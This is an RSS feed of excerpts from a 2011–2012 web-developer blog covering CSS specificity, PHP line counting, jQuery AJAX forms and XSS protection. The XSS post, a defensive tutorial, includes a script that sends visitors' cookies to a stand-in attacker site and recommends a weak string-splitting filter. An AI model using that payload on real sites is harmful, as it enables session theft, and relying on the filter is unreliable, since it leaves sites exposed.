<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
				<channel>
					<title>Free Your Imagination | Jason T. Stiles, Web Developer and Enthusiast</title>
					<link>http://www.jstiles.com/index.php?area=&amp;page=</link>
					<description>Error 404: The page you are looking for has been lost or you don't have permission to view this page.</description>
					<language>en-us</language>
								<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/JasonStiles" /><feedburner:info uri="jasonstiles" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
			<title>Back into blogging</title>
			<link>http://feedproxy.google.com/~r/JasonStiles/~3/LWDFb2RLrmw/Back-into-blogging</link>
			<guid isPermaLink="false">http://www.jstiles.com/Blog/Back-into-blogging</guid>
			<pubDate>Thu, 26 Jan 2012 21:01:12 EST</pubDate> 
			<description>&lt;p&gt;I know it's been a while since I've had an update on this site, but rest assured... updates are forthcoming! But before they do, I will be in the process of transferring my domain, my hosting account, all my files, and creating a new design before February's end so February's going to be a little hectic! However, I'll see if I can get some new material up during that month. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;Here are some topics I am thinking about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Site Optimization&lt;/li&gt;
&lt;li&gt;jQuery&lt;/li&gt;
&lt;li&gt;jQuery UI&lt;/li&gt;
&lt;li&gt;Dojo&lt;/li&gt;
&lt;li&gt;Clojure&lt;/li&gt;
&lt;li&gt;Coding Best Practices&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If there is anything you are interested in learning from me, let me know in the comments! I can be pretty accomodating (when I want to be)...&amp;nbsp;&lt;img title="Wink" src="../bin/js/tinymce/plugins/emotions/img/smiley-wink.gif" alt="Wink" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a href='http://www.jstiles.com/Blog/Back-into-blogging'&gt;Click to Read the Full Article&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/JasonStiles/~4/LWDFb2RLrmw" height="1" width="1"/&gt;</description>
			<feedburner:origLink>http://www.jstiles.com/Blog/Back-into-blogging</feedburner:origLink></item>
						<item>
			<title>A Primer to CSS Specificity</title>
			<link>http://feedproxy.google.com/~r/JasonStiles/~3/aJt4BCpS330/A-Primer-to-CSS-Specificity</link>
			<guid isPermaLink="false">http://www.jstiles.com/Blog/A-Primer-to-CSS-Specificity</guid>
			<pubDate>Tue, 16 Aug 2011 21:08:01 EDT</pubDate> 
			<description>&lt;p&gt;CSS Specificity is the weight (and value) a web browser gives to a particular CSS rule. &amp;nbsp;Browsers give preference to rules which have a higher weight (the fatter the better!). &amp;nbsp;Rules that have a higher weight will overwrite rules that have a lower weight. &amp;nbsp;Let's take a look at a simple example below.&lt;/p&gt;&lt;h2&gt;A Simple Example of CSS Specificity&lt;/h2&gt;
&lt;pre class="prettyprint"&gt;div {
    background: #0000FF; /** blue */
    height: 100px;
    width: 100px;
}

div.red {
   background: #FF0000; /** red */
}
&lt;/pre&gt;
&lt;p&gt;In the code above there are two CSS rules defined: one for div (all divs in fact!) and another for divs that have a class of 'red'. When applied to a web page, all divs on the page would have a width and height of 100px (a square!) and a background of blue. However, any divs on the page that have a class of 'red' would have a red background instead of blue. Why? Because the divs that have a class of 'red' have a higher CSS specificity (more weight = more specific = more lovin' by the browser!).&lt;/p&gt;&lt;h2&gt;How To Calculate The Weight of a CSS Rule&lt;/h2&gt;
&lt;p&gt;This actually isn't too bad to remember, and to be honest, I have never had to calculate the weight of any of my rules to see if there was a problem on my page, I have a trick to that which you can read about below, but before we get there, let's cover how to calculate the weight:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1000 points for inline styles&lt;/li&gt;
&lt;li&gt;100 points for IDs (i.e. #myDiv)&lt;/li&gt;
&lt;li&gt;10 points for Classes (i.e. div.red), attributes (i.e. input[type='text']) and pseudo-classes (i.e. :hover, :focus, etc)&lt;/li&gt;
&lt;li&gt;1 point for Elements (i.e. p, div, etc) and pseudo-elements (i.e. :before and :after)&lt;/li&gt;
&lt;li&gt;0 points for universal selectors (i.e. *, body *)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So in our example above, the first rule would have a weight of 1 (just one element specified). The second rule would have a rule of 11: one element (+1) and one class (+10). Let's move on to a crazier example by expanding from our first example above.&lt;/p&gt;&lt;br /&gt;&lt;a href='http://www.jstiles.com/Blog/A-Primer-to-CSS-Specificity'&gt;Click to Read the Full Article&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/JasonStiles/~4/aJt4BCpS330" height="1" width="1"/&gt;</description>
			<feedburner:origLink>http://www.jstiles.com/Blog/A-Primer-to-CSS-Specificity</feedburner:origLink></item>
						<item>
			<title>Count the Lines of Code in your Web Application with PHP</title>
			<link>http://feedproxy.google.com/~r/JasonStiles/~3/b93deBhC0-I/Count-the-Lines-of-Code-in-your-Web-Application-with-PHP</link>
			<guid isPermaLink="false">http://www.jstiles.com/Blog/Count-the-Lines-of-Code-in-your-Web-Application-with-PHP</guid>
			<pubDate>Wed, 15 Jun 2011 14:06:39 EDT</pubDate> 
			<description>&lt;p&gt;Have you ever wanted to know how many lines of code your web application consists of? I have. &amp;nbsp;To find out, I created a recursive function in PHP to count the number of lines in files relating to my web application. &amp;nbsp;Since your entire web application is likely to reside under one directory (that's the assumption I use in this article), we can count the number of lines in each file, and disinclude any files that don't have the file extensions we're looking for. &amp;nbsp;For example, the system that powers my website is built with PHP, HTML, JavaScript, and CSS so I'm only going to be counting the lines in files that match these extensions: .php, .html, .js, and .css. &amp;nbsp;Easy! &amp;nbsp;Let's get started...&lt;/p&gt;&lt;h2&gt;Step 1: Creating the readDirectories() Function&lt;/h2&gt;
&lt;p&gt;Since it is likely that you have multiple files in multiple directories, we need a function to read in a listing of directories contained in our root directory so that we can read the files in each of those directories (and their sub-directories) as well.&lt;/p&gt;
&lt;pre class="prettyprint"&gt;/**
* Method: readDirectories
*	Purpose: Recursively read directories
*	@param $root - the Root Directory Path
*	@param $array - an array containing the currently read directories
*/
function readDirectories($root, $array = array()) {
    if(is_dir($root)) {
        if($handle = opendir($root)) {
            while(false !== ($file = readdir($handle))) {
                if($file == "." || $file == "..") continue;
                    if(is_dir($root . "/" . $file)) {
                        array_push($array, $root . "/" . $file);
                    }
                }
            }
        }
    }
	
    return $array;
}
&lt;/pre&gt;
&lt;p&gt;This function takes two arguments: $root and $array. &amp;nbsp;It returns the $array variable containing whatever is currently inside it along with all the names of the directories specified in $root. &amp;nbsp;Pretty simple, but we also need to read all the files contained in each directory.&lt;/p&gt;&lt;h2&gt;Step 2: Creating the readFiles() Function&lt;/h2&gt;
&lt;p&gt;As you can see below, the readFiles() function takes in two arguments: $root (the directory path to read files from) and $array. &amp;nbsp;The function returns $array containing whatever it had in it before plus all the files it discovered when reading the directory path specified in $root.&lt;/p&gt;
&lt;pre class="prettyprint"&gt;/**
* Method: readFiles
*	Purpose: Recursively read files in a directory
*	@param $root - the Root Directory Path
*	@param $array - an array containing the currently read files
*/
function readFiles($root, $array = array()) {
    if(is_dir($root)) {
        if($handle = opendir($root)) {
            while(false !== ($file = readdir($handle))) {
                if($file == "." || $file == "..") continue;

                if(!is_dir($root . "/" . $file)) {
                    array_push($array, $root . "/" . $file);
                }
            }
        }
    }
	
    return $array;
}
&lt;/pre&gt;
&lt;p&gt;Now that we've built the pre-requisite functions for reading directories and files, we can finally get to the real meat of the article which is counting the lines in our web application!&lt;/p&gt;&lt;br /&gt;&lt;a href='http://www.jstiles.com/Blog/Count-the-Lines-of-Code-in-your-Web-Application-with-PHP'&gt;Click to Read the Full Article&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/JasonStiles/~4/b93deBhC0-I" height="1" width="1"/&gt;</description>
			<feedburner:origLink>http://www.jstiles.com/Blog/Count-the-Lines-of-Code-in-your-Web-Application-with-PHP</feedburner:origLink></item>
						<item>
			<title>How To Protect Your Site From XSS With PHP</title>
			<link>http://feedproxy.google.com/~r/JasonStiles/~3/Vkcoqmtd3qE/How-To-Protect-Your-Site-From-XSS-With-PHP</link>
			<guid isPermaLink="false">http://www.jstiles.com/Blog/How-To-Protect-Your-Site-From-XSS-With-PHP</guid>
			<pubDate>Wed, 08 Jun 2011 07:06:22 EDT</pubDate> 
			<description>&lt;p&gt;Cross-Site Scripting (XSS) is a type of attack where a hacker attempts to inject client-side scripting into a webpage that others are able to view. &amp;nbsp;The attack could be as simple as an annoying alert window or as sophisticated as stealing a logged in user's credentials (commonly saved in browser cookies). &amp;nbsp;With a user's credentials, a hacker could gain access to sensitive parts of your website or web application. &amp;nbsp;In this simple guide, I'll show you a few ways to protect your website from XSS with PHP.&lt;/p&gt;&lt;h2&gt;The Basics Of An XSS Attack with Example&lt;/h2&gt;
&lt;p&gt;If you allow user input on your site or application (like comments, forums, etc), you could be the target of an XSS attack. &amp;nbsp;The hacker's goal is to submit a comment, forum post, etc with JavaScript code inside and have it executed on the web page. Since these types of user input can immediately be displayed to other user's, the attack could be spread pretty quickly and even without your knowledge. &amp;nbsp;For an example, we'll use comments on my website:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Let's say some hacker comes along (his name is John) and submits a comment with &amp;lt;script&amp;gt;alert('XSS!');&amp;lt;/script&amp;gt; in the body of the comment. &amp;nbsp;When John refreshes the page, he sees an alert message pop up that says "XSS!". &amp;nbsp;His attack worked!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;All John does in this example is create an annoyance to users; he doesn't actually steal any information. &amp;nbsp;However, since that attack went through so easily, John may be thinking of other things he could do like stealing cookies! &amp;nbsp;In JavaScript, cookies are accessible from the document object (i.e. document.cookie). &amp;nbsp;John could easily send any cookies, of users that visit the page his comment is posted on, to his website by posting the following in the body of the comment form:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;script&amp;gt;document.write("&amp;lt;img src='http://johns-site.com/?cookies='"+document.cookie+"' style='display:none;' /&amp;gt;");&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;p&gt;Why does that work? When your browser visits a webpage, it downloads any images. &amp;nbsp;If the SRC attribute of an image points to something like the above, your browser will execute it. &amp;nbsp;If John receives cookies that are used to validate a user login, he could use those cookies to gain access to, perhaps, an administrative control panel and do even more damage! Also notice that he set the display property of that element to "none", this makes it so users can't see the image. &amp;nbsp;John could post a valid comment about the article and execute that script without anyone knowing what he's doing! &amp;nbsp;The rule of thumb here is to NEVER TRUST USER INPUT!&lt;/p&gt;&lt;h2&gt;How To Filter Out XSS Using PHP&lt;/h2&gt;
&lt;p&gt;PHP has a couple different functions you can use to filter user input, namely: htmlentities() and strip_tags().&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The htmlentities() function translates all applicable characters to their html entity counterparts. &amp;nbsp;For example, using this function &amp;lt; would become &amp;amp;lt; and &amp;gt; would become &amp;amp;gt; (i.e. &amp;lt;script&amp;gt; would become &amp;amp;lt;script&amp;amp;gt;). This function is good for escaping data and might prevent some types of attack, but not all (thanks to IE6). &amp;nbsp;When using the htmlentities function, make sure the second argument is set to ENT_QUOTES, like this:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;htmlentities("&amp;lt;script&amp;gt;alert('XSS!');&amp;lt;/script&amp;gt;", ENT_QUOTES);&lt;/pre&gt;
&lt;p&gt;You could use PHP's strip_tags() function to remove any HTML tags, but even this still won't prevent all types of XSS attacks (thanks to hyperlink vulnerabilities - a hacker doesn't need to use the &amp;lt;script&amp;gt; tag in hyperlinks to get JavaScript to execute). &amp;nbsp;So what can you do? You can use PHP to search for "script" and replace it with scri&amp;lt;b&amp;gt;&amp;lt;/b&amp;gt;pt. &amp;nbsp;Cutting up the code like this will prevent it from executing while still displaying the output. &amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;a href='http://www.jstiles.com/Blog/How-To-Protect-Your-Site-From-XSS-With-PHP'&gt;Click to Read the Full Article&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/JasonStiles/~4/Vkcoqmtd3qE" height="1" width="1"/&gt;</description>
			<feedburner:origLink>http://www.jstiles.com/Blog/How-To-Protect-Your-Site-From-XSS-With-PHP</feedburner:origLink></item>
						<item>
			<title>How To Submit a Form with jQuery and AJAX</title>
			<link>http://feedproxy.google.com/~r/JasonStiles/~3/jU2CKpK3rgE/How-To-Submit-a-Form-with-jQuery-and-AJAX</link>
			<guid isPermaLink="false">http://www.jstiles.com/Blog/How-To-Submit-a-Form-with-jQuery-and-AJAX</guid>
			<pubDate>Wed, 01 Jun 2011 13:06:05 EDT</pubDate> 
			<description>&lt;p&gt;HTML forms make up a large part of the web. They are the primary method for retrieving input from users. &amp;nbsp;Typically, you fill out the form, click the submit button, and be redirected to a thank you page. &amp;nbsp;For web applications, this may not be ideal - you may not want the user to leave the page. In this article, I'll show you how to use jQuery's AJAX function to submit a form asynchronously to the server and avoid a redirect.&lt;/p&gt;&lt;h2&gt;A Simple Contact Form&lt;/h2&gt;
&lt;p&gt;Here's an example of a simple contact form (fyi: submitting it won't do anything yet). We'll be submitting this form via AJAX with jQuery.&lt;/p&gt;
&lt;form id="ContactForm"&gt;Your Name: &lt;input type="text" name="name" value="" /&gt;&lt;br /&gt; Your Email: &lt;input type="text" name="email" value="" /&gt;&lt;br /&gt; Your Message:&lt;br /&gt; &lt;textarea style="width: 200px; height: 100px;" name="message"&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt; &lt;input type="submit" name="submit" value="Submit" /&gt;
&lt;div class="form_result"&gt;&amp;nbsp;&lt;/div&gt;
&lt;/form&gt;
&lt;p&gt;Here's the code for the form:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&amp;lt;form id="ContactForm"&amp;gt;
    Your Name: &amp;lt;input type="text" name="name" value="" /&amp;gt;&amp;lt;br /&amp;gt; 
    Your Email: &amp;lt;input type="text" name="email" value="" /&amp;gt;&amp;lt;br /&amp;gt; 
    Your Message:&amp;lt;br /&amp;gt; &amp;lt;textarea style="width: 200px; height: 100px;" name="message"&amp;gt;&amp;lt;/textarea&amp;gt; 
    &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt; 
    &amp;lt;input type="submit" name="submit" value="Submit" /&amp;gt;&amp;lt;br /&amp;gt;
    &amp;lt;div class="form_result"&amp;gt;&amp;nbsp;&amp;lt;/div&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Notice that I gave my form tag an ID of "ContactForm". We'll need this later so that jQuery can find and retrieve all the data contained in the form. Additionally, I've included a div element to which we will dynamically update with the response from the server. &amp;nbsp;The div has a class of 'form_result' that we can use to tell jQuery where the response from the server should be output to. &amp;nbsp;The reason I'm using a class identifier here instead of giving the div an id attribute is because on very large forms, you may want the result of the form to be shown at the very top of the form as well as the bottom. &amp;nbsp;With jQuery, we can select and update multiple elements with the same class. &amp;nbsp;However, we can only update one element with the same id. &amp;nbsp;&lt;/p&gt;&lt;h2&gt;jQuery's AJAX Function&lt;/h2&gt;
&lt;p&gt;The syntax for jQuery's ajax function looks like this:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;jQuery.ajax(url, [settings]);&lt;/pre&gt;
&lt;p&gt;A complete reference to this function can be found by clicking on this link:&lt;a class="link" href="http://api.jquery.com/jQuery.ajax/" target="_blank"&gt;jQuery's AJAX function&lt;/a&gt;.&amp;nbsp;There are numerous settings available to use with this function, but we're only going to be using a handful. We'll discuss each setting briefly here:&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;url&lt;/strong&gt;: set this to the URL the form will be submitted to (you'll probably want to put in the URL to your form handler). We'll be setting ours to jQuery-ajax-demo.php for demonstration purposes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;type&lt;/strong&gt;: this is the method type for the form; set it to POST or GET. In our case, we'll be using POST.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;data&lt;/strong&gt;: this is the data you'll be submitting; it's a standard query string that you typically see after a domain name in the browser's address bar. You'll see that for the most part, jQuery will create the query string for us.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;success&lt;/strong&gt;: you can set this to a single callback function, or as of jQuery 1.5 - an array of functions. We'll be setting ours to a single callback function that accepts the response from the server (first parameter of the callback function).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's see what a call to jQuery's AJAX function would look like for our demo:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;$.ajax({type:'POST', url: 'jQuery-ajax-demo.php', data:$('#ContactForm').serialize(), success: function(response) {
    $('#ContactForm').find('.form_result').html(response);
}});
&lt;/pre&gt;
&lt;p&gt;As you can see, we are setting the 'type', 'url', 'data', and 'success' settings of jQuery's AJAX function. In the 'data' setting, we're using jQuery's serialize() function by supplying the id of the form as the context.&lt;/p&gt;
&lt;p&gt;jQuery's serialize() function looks at every field in the supplied context and creates a string of key-value pairs. The 'name' attribute of each of the fields in the form are used as the keys while the actual data contained in the fields become the values. So for example, in the form we created above, our query string (the result of the serialize function) might look like this:&lt;/p&gt;
&lt;pre&gt;name=Jason&amp;amp;email=me%40example.com&amp;amp;message=hey+what's+up%3F&lt;/pre&gt;
&lt;p&gt;That's if I submitted the form with Name set to "Jason", Email set to "me@example.com", and Message set to "hey what's up?". The serialize() method also encodes the data so it can be easily transmitted to the server.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;We now have everything we need to submit the form to the server, but we do not have a form handler yet that will intercept the data and do something with it. &amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;a href='http://www.jstiles.com/Blog/How-To-Submit-a-Form-with-jQuery-and-AJAX'&gt;Click to Read the Full Article&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/JasonStiles/~4/jU2CKpK3rgE" height="1" width="1"/&gt;</description>
			<feedburner:origLink>http://www.jstiles.com/Blog/How-To-Submit-a-Form-with-jQuery-and-AJAX</feedburner:origLink></item>
							</channel>
			</rss>

